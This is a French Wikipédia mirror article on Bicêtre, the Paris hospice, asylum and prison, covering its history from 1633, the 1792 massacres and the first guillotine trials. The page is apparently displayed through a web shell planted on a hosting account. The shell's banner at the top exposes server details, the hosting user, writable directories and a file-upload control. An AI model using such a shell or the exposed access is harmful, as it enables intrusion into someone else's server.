Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/b/i/c/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/b/////i/c/Bicêtre.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Bicêtre - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Bicêtre</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="plainlinks bandeau-niveau-modere bandeau">
<table style="background-color:transparent">
<tr>
<td class="bandeau-icone">
<div style="width:45px; text-align:center"><a href="../../../../articles/q/u/e/Image%7EQuestion_book-3.svg_1bf7.html" class="image" title="Question book-3.svg"><img alt="" src="../../../../images/shared/thumb/e/e3/Question_book-3.svg/44px-Question_book-3.svg.png" width="44" height="35" border="0" /></a></div>
</td>
<td>
<div class="bandeau-titre"><strong>Cet article ou cette section <a href="../../../../articles/c/i/t/Wikip%C3%A9dia%7ECitez_vos_sources_%21_3edd.html" title="Wikipédia:Citez vos sources !">ne cite pas suffisamment ses sources</a>.</strong>&#160;<small>(date inconnue)</small></div>
<div class="bandeau-texte">Son contenu est donc sujet à caution. Wikipédia doit être fondée sur des sources fiables et indépendantes. <a href="http://fr.wikipedia.org../../../../articles/b/i/c/Bic%C3%AAtre.html" class="external text" title="http://fr.wikipedia.org../../../../articles/b/i/c/Bic%C3%AAtre.html" rel="nofollow">Améliorez cet article</a> en liant les informations à des <a href="../../../../articles/a/r/t/Wikip%C3%A9dia%7EArticle_bien_sourc%C3%A9_aa96.html" title="Wikipédia:Article bien sourcé">sources</a>, au moyen de <b><a href="../../../../articles/n/o/t/Aide%7ENote_931f.html" title="Aide:Note">notes de bas de page</a></b> (voir les <a href="../../../../articles/s/o/u/Aide%7ESourcer_f12f.html" title="Aide:Sourcer">recommandations</a>).</div>
</td>
</tr>
</table>
</div>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Histoire"><span class="tocnumber">1</span> <span class="toctext">Histoire</span></a></li>
<li class="toclevel-1"><a href="#Bic.C3.AAtre_dans_la_litt.C3.A9rature"><span class="tocnumber">2</span> <span class="toctext">Bicêtre dans la littérature</span></a></li>
<li class="toclevel-1"><a href="#Notes_et_r.C3.A9f.C3.A9rences_de_l.27article"><span class="tocnumber">3</span> <span class="toctext">Notes et références de l'article</span></a></li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">4</span> <span class="toctext">Voir aussi</span></a>
<ul>
<li class="toclevel-2"><a href="#Articles_connexes"><span class="tocnumber">4.1</span> <span class="toctext">Articles connexes</span></a></li>
<li class="toclevel-2"><a href="#Liens_et_documents_externes"><span class="tocnumber">4.2</span> <span class="toctext">Liens et documents externes</span></a></li>
</ul>
</li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Histoire" id="Histoire"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/c/Bic%C3%AAtre.html" title="Modifier la section&#160;: Histoire">modifier</a>]</span> <span class="mw-headline">Histoire</span></h2>
<p><b>Bicêtre</b>, dont la construction lancée par <a href="../../../../articles/l/o/u/Louis_XIII_de_France_aec3.html" title="Louis XIII de France">Louis XIII</a> en <a href="../../../../articles/1/6/3/1633.html" title="1633">1633</a> sur les ruines d'une <a href="../../../../articles/f/o/r/Forteresse.html" class="mw-redirect" title="Forteresse">forteresse</a> a été un hôpital, un asile d'aliénés et une <a href="../../../../articles/p/r/i/Prison.html" title="Prison">prison</a> <a href="../../../../articles/p/a/r/Paris.html" title="Paris">parisienne</a>. Le nom de Bicêtre vient du fait que la forteresse était construite sur des terrains appartenant à l'évêque de Winchester (francisé Vincestre, puis Bicestre…).</p>
<p>Ce fut d'abord un hospice pour <i>soldats estropiés. vieux et caducs</i>, augmenté en <a href="../../../../articles/1/6/4/1647.html" title="1647">1647</a>, grâce à <a href="../../../../articles/v/i/n/Vincent_de_Paul_1191.html" title="Vincent de Paul">Saint-Vincent de Paul</a>, de «&#160;<a href="../../../../articles/h/%C3%B4/p/H%C3%B4pital_des_Enfants-Trouv%C3%A9s_a290.html" title="Hôpital des Enfants-Trouvés">l’œuvre nouvelle des Enfants-Trouvés</a>&#160;». Sous <a href="../../../../articles/l/o/u/Louis_XIV_de_France_ebee.html" title="Louis XIV de France">Louis XIV</a>, à partir de <a href="../../../../articles/1/6/5/1656.html" title="1656">1656</a>, l'établissement fait partie de l'<a href="../../../../articles/h/%C3%B4/p/H%C3%B4pital_g%C3%A9n%C3%A9ral.html" title="Hôpital général">hôpital général</a> et est affecté à l'enfermement des mendiants et de tous les «&#160;indésirables&#160;».</p>
<p>L'endroit accueillait alors la lie de la société, mélangeant indifféremment les indigents, les malades et les criminels&#160;: aliénés (enchaînés jusqu'à l'arrivée de <a href="../../../../articles/p/h/i/Philippe_Pinel_3ca6.html" title="Philippe Pinel">Philippe Pinel</a> en <a href="../../../../articles/1/7/9/1794.html" title="1794">1794</a>), escrocs, <a href="../../../../articles/s/y/p/Syphilis.html" title="Syphilis">syphilitiques</a>, assassins, vagabonds et délinquants de toute sorte. On y plaçait notamment les <a href="../../../../articles/h/o/m/Homosexualit%C3%A9.html" title="Homosexualité">homosexuels</a> pauvres pris en flagrant délit, depuis qu'on avait renoncé à les brûler en place publique. On y fustigeait les prisonniers pour leur faire expier leurs fautes.</p>
<p>Sous la <a href="../../../../articles/r/%C3%A9/v/R%C3%A9volution_fran%C3%A7aise.html" title="Révolution française">Révolution française</a>, à la suite d'un rapport de <a href="../../../../articles/h/o/n/Honor%C3%A9_Gabriel_Riqueti_de_Mirabeau_b46a.html" title="Honoré Gabriel Riqueti de Mirabeau">Mirabeau</a>, on remet en liberté les prisonniers détenus sans jugement. En septembre <a href="../../../../articles/1/7/9/1792.html" title="1792">1792</a>, des <a href="../../../../articles/s/a/n/Sans-culotte.html" title="Sans-culotte">sans-culottes</a> en furie assassinent au gourdin près de deux cent détenus. Au nombre des victimes figurèrent beaucoup d'enfants ramassés dans les rues pour de petits vols, de la mendicité ou du vagabondage.</p>
<p>On y place ensuite les suspects de trafic de faux <a href="../../../../articles/a/s/s/Assignat.html" title="Assignat">assignats</a>, que leur crime relevât du droit commun ou de l’activisme politique contre-révolutionnaire. Ils furent pour la plupart inclus dans la prétendue conspiration des prisons en juin <a href="../../../../articles/1/7/9/1794.html" title="1794">1794</a> et envoyés à l’échafaud, sur la dénonciation de celui d’entre eux qui désirait le plus ardemment sauver sa peau.</p>
<p>C'est à Bicêtre que le tapissier Guilleret a inventé la <a href="../../../../articles/c/a/m/Camisole_de_force.html" title="Camisole de force">camisole de force</a> en <a href="../../../../articles/1/7/7/1770.html" title="1770">1770</a>. C'est aussi là qu'a été effectué, le <a href="../../../../articles/1/7/_/17_avril.html" title="17 avril">17</a>&#160;<a href="../../../../articles/a/v/r/Avril.html" title="Avril">avril</a>&#160;<a href="../../../../articles/1/7/9/1792.html" title="1792">1792</a>, le premier essai de la <a href="../../../../articles/g/u/i/Guillotine.html" title="Guillotine">guillotine</a>, sur des moutons vivants, puis sur les cadavres de trois vagabonds. La prison est aussi utilisée comme zone de transit pour le bagne, de <a href="../../../../articles/1/7/9/1793.html" title="1793">1793</a> à <a href="../../../../articles/1/8/3/1836.html" title="1836">1836</a> (date à laquelle la prison cesse son activité).</p>
<p>Bicêtre reste célèbre pour son puits aux proportions gigantesques creusé en <a href="../../../../articles/1/7/3/1733.html" title="1733">1733</a> sous la houlette de l'architecte Boffrand (5m de diamètre pour 60m de profondeur). L'élévation de l'eau était alors assurée par des prisonniers et des aliénés avant d'être remplacée par une machine à vapeur en <a href="../../../../articles/1/8/5/1855.html" title="1855">1855</a>.</p>
<p><span class="citation">«&#160;<b>Bicêtre</b> - La plus mauvaise prison d'hommes. Elle renferme des condamnés à de longues peines, qui n'ont pu obtenir de rester à <a href="../../../../articles/p/r/i/Prison_Sainte-P%C3%A9lagie_28ce.html" title="Prison Sainte-Pélagie">Sainte-Pélagie</a>, et des condamnés aux travaux forcés en attendant qu'ils soient envoyés au <a href="../../../../articles/b/a/g/Bagne.html" title="Bagne">bagne</a>. Les uns et les autres sont presque tous dans un état de grand dénûment. <a href="../../../../articles/p/r/i/Prison_Saint-Lazare_78d5.html" title="Prison Saint-Lazare">Saint Lazare</a>. C'est le bicêtre des femmes […] <sup id="cite_ref-0" class="reference"><a href="#cite_note-0" title=""><span class="cite_crochet">[</span>1<span class="cite_crochet">]</span></a></sup>.&#160;»</span></p>
<p>La mortalité annuelle moyenne de <a href="../../../../articles/1/8/1/1815.html" title="1815">1815</a> à <a href="../../../../articles/1/8/1/1818.html" title="1818">1818</a> est d'un détenu sur 18,75.</p>
<p>Bicêtre a retrouvé sa vocation hospitalière sous le nom d'<a href="../../../../articles/c/h/u/CHU_Kremlin-Bic%C3%AAtre_b088.html" title="CHU Kremlin-Bicêtre">hôpital de Bicêtre</a> ou, vu la présence d'une faculté de médecine, de <a href="../../../../articles/c/h/u/CHU_Kremlin-Bic%C3%AAtre_b088.html" title="CHU Kremlin-Bicêtre">CHU Kremlin-Bicêtre</a>.</p>
<p><a name="Bic.C3.AAtre_dans_la_litt.C3.A9rature" id="Bic.C3.AAtre_dans_la_litt.C3.A9rature"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/c/Bic%C3%AAtre.html" title="Modifier la section&#160;: Bicêtre dans la littérature">modifier</a>]</span> <span class="mw-headline">Bicêtre dans la littérature</span></h2>
<ul>
<li>Bicêtre est le décor du célèbre roman de <a href="../../../../articles/v/i/c/Victor_Hugo_5093.html" title="Victor Hugo">Victor Hugo</a>, <i><a href="../../../../articles/l/e/_/Le_Dernier_Jour_d%27un_condamn%C3%A9_84ea.html" title="Le Dernier Jour d'un condamné">Le Dernier Jour d'un condamné</a></i>. Véritable plaidoyer contre la peine de mort, on y trouve de nombreuses descriptions de Bicêtre et des conditions de détention alors en vigueur au <a href="../../../../articles/x/i/x/XIXe_si%C3%A8cle_ab42.html" title="XIXe siècle"><span class="romain" title="Nombre&#160;écrit en chiffres romains">XIX</span><sup class="exposant">e</sup>&#160;siècle</a>. Dans ce texte nous pouvons dénoter la souffrance du personnage principal pendant toute l'histoire.</li>
<li>"Dans la nuit de Bicêtre", roman de Marie Didier, imagine ce à quoi a pu ressembler la vie de Jean-Baptiste Poussin (ou <a href="../../../../articles/j/e/a/Jean-Baptiste_Pussin_5ed5.html" title="Jean-Baptiste Pussin">Jean-Baptiste Pussin</a>) comme soignant à Bicêtre.</li>
</ul>
<p><a name="Notes_et_r.C3.A9f.C3.A9rences_de_l.27article" id="Notes_et_r.C3.A9f.C3.A9rences_de_l.27article"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/c/Bic%C3%AAtre.html" title="Modifier la section&#160;: Notes et références de l'article">modifier</a>]</span> <span class="mw-headline">Notes et références de l'article</span></h2>
<div style="font-size: 85%">
<ol class="references">
<li id="cite_note-0"><span class="renvois_vers_le_texte"><a href="#cite_ref-0" title="">↑</a></span> Mémoire sur la mortalité dans les prisons. Par L. R. Villermé. Annales d'hygiène publique et de médecine légale. <a href="../../../../articles/1/8/2/1829.html" title="1829">1829</a>.</li>
</ol>
</div>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/c/Bic%C3%AAtre.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<p><a name="Articles_connexes" id="Articles_connexes"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/c/Bic%C3%AAtre.html" title="Modifier la section&#160;: Articles connexes">modifier</a>]</span> <span class="mw-headline">Articles connexes</span></h3>
<ul>
<li><a href="../../../../articles/c/h/u/CHU_Kremlin-Bic%C3%AAtre_b088.html" title="CHU Kremlin-Bicêtre">Hôpital de Bicêtre</a></li>
<li><a href="../../../../articles/l/e/t/Lettre_de_J%C3%A9rusalem_ad41.html" title="Lettre de Jérusalem">Lettre de Jérusalem</a></li>
<li><a href="../../../../articles/p/h/i/Philippe_Pinel_3ca6.html" title="Philippe Pinel">Philippe Pinel</a></li>
<li><a href="../../../../articles/j/a/c/Jacques_Roux_d252.html" title="Jacques Roux">Jacques Roux</a> — célèbre figure des «&#160;<a href="../../../../articles/e/n/r/Enrag%C3%A9s.html" title="Enragés">enragés</a>&#160;», se donnera la mort à Bicêtre pour échapper à la guillotine.</li>
</ul>
<p><a name="Liens_et_documents_externes" id="Liens_et_documents_externes"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/b/i/c/Bic%C3%AAtre.html" title="Modifier la section&#160;: Liens et documents externes">modifier</a>]</span> <span class="mw-headline">Liens et documents externes</span></h3>
<ul>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: français">(fr)</span><a href="http://www.u-psud.fr/Biblikb.nsf/BicetreXIXe.htm!OpenPage" class="external text" title="http://www.u-psud.fr/Biblikb.nsf/BicetreXIXe.htm!OpenPage" rel="nofollow">L'hospice de Bicêtre des origines à la fin du <span class="romain" title="Nombre&#160;écrit en chiffres romains">XIX</span><sup class="exposant">e</sup>&#160;siècle</a></li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/r/%C3%A9/v/Image%7ER%C3%A9v-fran0.jpg_8791.html" class="image" title="Icône du portail de la Révolution française"><img alt="Icône du portail de la Révolution française" src="../../../../images/shared/thumb/f/ff/Rév-fran0.jpg/34px-Rév-fran0.jpg" width="34" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/r/%C3%A9/v/Portail%7ER%C3%A9volution_fran%C3%A7aise_4b40.html" title="Portail:Révolution française">Portail de la Révolution française</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 271/1000000
Post-expand include size: 4691/2048000 bytes
Template argument size: 1772/2048000 bytes
Expensive parser function count: 2/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/p/r/i/Cat%C3%A9gorie%7EPrison_de_Paris_lors_de_la_R%C3%A9volution_f6aa.html" title="Catégorie:Prison de Paris lors de la Révolution">Prison de Paris lors de la Révolution</a></span> | <span dir='ltr'><a href="../../../../articles/p/r/i/Cat%C3%A9gorie%7EPrison_parisienne_919b.html" title="Catégorie:Prison parisienne">Prison parisienne</a></span></div><div id="mw-hidden-catlinks" class="mw-hidden-cats-hidden">Catégorie cachée&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/a/r/t/Cat%C3%A9gorie%7EArticle_manquant_de_r%C3%A9f%C3%A9rence_depuis_date_inconnue_e470.html" title="Catégorie:Article manquant de référence depuis date inconnue">Article manquant de référence depuis date inconnue</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/b/i/c/Bic%C3%AAtre.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/b/i/c/Discuter%7EBic%C3%AAtre_0f9d.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Bic%C3%AAtre">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../en/articles/b/i/c/Bic%C3%AAtre_Hospital_511c.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../he/articles/%D7%91/%D7%99/%D7%A1/%D7%91%D7%99%D7%A1%D7%98%D7%A8.html">עברית</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/b/i/c/Bic%C3%AAtre.html">Italiano</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/b/i/c/Bic%C3%AAtre.html">Português</a>
	      </li>
	      	      <li>
	      <a href="../../../../../sv/articles/b/i/c/Bic%C3%AAtre.html">Svenska</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 31 mai 2008 à 01:34 par Utilisateur <a href="../../../../articles/i/r/4/Utilisateur%7EIr4ubot_1de3.html" title="Utilisateur:Ir4ubot">Ir4ubot</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/p/l/a/Utilisateur%7EPlaytime_9f86.html" title="Utilisateur:Playtime">Playtime</a>, <a href="../../../../articles/a/l/e/Utilisateur%7EAlecs.bot_6f7d.html" title="Utilisateur:Alecs.bot">Alecs.bot</a>, <a href="../../../../articles/n/i/c/Utilisateur%7ENicod_28c0.html" title="Utilisateur:Nicod">Nicod</a>, <a href="../../../../articles/a/d/d/Utilisateur%7EAddacat_48e4.html" title="Utilisateur:Addacat">Addacat</a>, <a href="../../../../articles/w/k/u/Utilisateur%7EWku2m5rr_24a6.html" title="Utilisateur:Wku2m5rr">Wku2m5rr</a>, <a href="../../../../articles/d/a/i/Utilisateur%7EDaiFh_0251.html" title="Utilisateur:DaiFh">DaiFh</a>, <a href="../../../../articles/a/l/l/Utilisateur%7EAlleborgoBot_c888.html" title="Utilisateur:AlleborgoBot">AlleborgoBot</a>, <a href="../../../../articles/b/o/b/Utilisateur%7EBob08_5a46.html" title="Utilisateur:Bob08">Bob08</a>, <a href="../../../../articles/d/a/v/Utilisateur%7EDavid.Monniaux_4b4e.html" title="Utilisateur:David.Monniaux">David.Monniaux</a>, <a href="../../../../articles/l/e/_/Utilisateur%7ELe_Pied-bot_aba6.html" title="Utilisateur:Le Pied-bot">Le Pied-bot</a>, <a href="../../../../articles/c/h/i/Utilisateur%7EChicobot_8e22.html" title="Utilisateur:Chicobot">Chicobot</a>, <a href="../../../../articles/f/l/a/Utilisateur%7EFlaBot_bc06.html" title="Utilisateur:FlaBot">FlaBot</a>, <a href="../../../../articles/t/i/g/Utilisateur%7ETigH_e3dd.html" title="Utilisateur:TigH">TigH</a>, <a href="../../../../articles/n/i/c/Utilisateur%7ENicke_L_7bbe.html" title="Utilisateur:Nicke L">Nicke L</a>, <a href="../../../../articles/p/a/r/Utilisateur%7EParisette_d286.html" title="Utilisateur:Parisette">Parisette</a>, <a href="../../../../articles/a/n/n/Utilisateur%7EAnne97432_6af9.html" title="Utilisateur:Anne97432">Anne97432</a>, <a href="../../../../articles/a/l/p/Utilisateur%7EAlphabeta_bfd0.html" title="Utilisateur:Alphabeta">Alphabeta</a>, <a href="../../../../articles/l/i/n/Utilisateur%7ELinguiste_74d4.html" title="Utilisateur:Linguiste">Linguiste</a>, <a href="../../../../articles/j/a/y/Utilisateur%7EJaykb_6f1d.html" title="Utilisateur:Jaykb">Jaykb</a>, <a href="../../../../articles/j/e/a/Utilisateur%7EJean-no_1741.html" title="Utilisateur:Jean-no">Jean-no</a>, <a href="../../../../articles/d/u/l/Utilisateur%7EDuloup_b6ec.html" title="Utilisateur:Duloup">Duloup</a>, <a href="../../../../articles/j/b/l/Utilisateur%7EJblndl_3d7c.html" title="Utilisateur:Jblndl">Jblndl</a>, <a href="../../../../articles/j/y/g/Utilisateur%7EJygh_570b.html" title="Utilisateur:Jygh">Jygh</a>, <a href="../../../../articles/c/l/i/Utilisateur%7EClio64_6ee8.html" title="Utilisateur:Clio64">Clio64</a>, <a href="../../../../articles/c/%C3%A9/r/Utilisateur%7EC%C3%A9r%C3%A9ales_Killer_da40.html" title="Utilisateur:Céréales Killer">Céréales Killer</a>, <a href="../../../../articles/m/i/n/Utilisateur%7EMiniwark_116d.html" title="Utilisateur:Miniwark">Miniwark</a>, <a href="../../../../articles/l/a/_/Utilisateur%7ELa_Cigale_64f4.html" title="Utilisateur:La Cigale">La Cigale</a> et <a href="../../../../articles/e/t/i/Utilisateur%7EEtioles_d529.html" title="Utilisateur:Etioles">Etioles</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX